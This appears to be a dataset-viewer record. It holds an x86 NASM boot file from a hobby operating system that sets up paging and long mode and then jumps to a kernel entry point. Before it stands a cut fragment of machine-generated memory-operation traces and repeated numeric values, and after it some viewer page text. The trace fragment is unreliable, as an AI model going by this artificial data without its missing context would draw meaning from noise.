{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 5}}
{'34': 11096}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
b.asm
|
li7r/os
| 5 |
20146
|
extern kmain
global start
global mode13h
section .boot
bits 32
start:
; Point the first entry of the level 4 page table to the first entry in the
; p3 table
mov eax, p3_table
or eax, 0b11 ;
mov dword [p4_table + 0], eax
; Point the first entry of the level 3 page table to the first entry in the
; p2 table
mov eax, p2_table
or eax, 0b11
mov dword [p3_table + 0], eax
; point each page table level two entry to a page
mov ecx, 0 ; counter variable
.map_p2_table:
mov eax, 0x200000 ; 2MiB
mul ecx
or eax, 0b10000011
mov [p2_table + ecx * 8], eax
inc ecx
cmp ecx, 512
jne .map_p2_table
; move page table address to cr3
mov eax, p4_table
mov cr3, eax
; enable PAE
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; set the long mode bit
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; enable paging
mov eax, cr0
or eax, (1 << 31 | 1 << 16)
mov cr0, eax
lgdt [gdt64.pointer]
; update selectors
mov ax, gdt64.data
mov ss, ax
mov ds, ax
mov es, ax
; long jump to kmain setting `cs` register to `gdt64.code`
jmp gdt64.code:long_mode_start
hlt
section .text
bits 64
;_mode13h:
; mov ah, 0
; mov al, 13h
; int 10h
;ret
;_textmode:
; mov ah, 00
; mov al, 3h
; int 10h
;ret
%include "idt.asm"
long_mode_start:
jmp kmain
hlt
section .bss
align 4096
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
section .rodata
gdt64:
dq 0 ; zero entry
.code: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53) ; code segment
.data: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41) ; data segment
.pointer:
dw $ - gdt64 - 1
dq gdt64
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.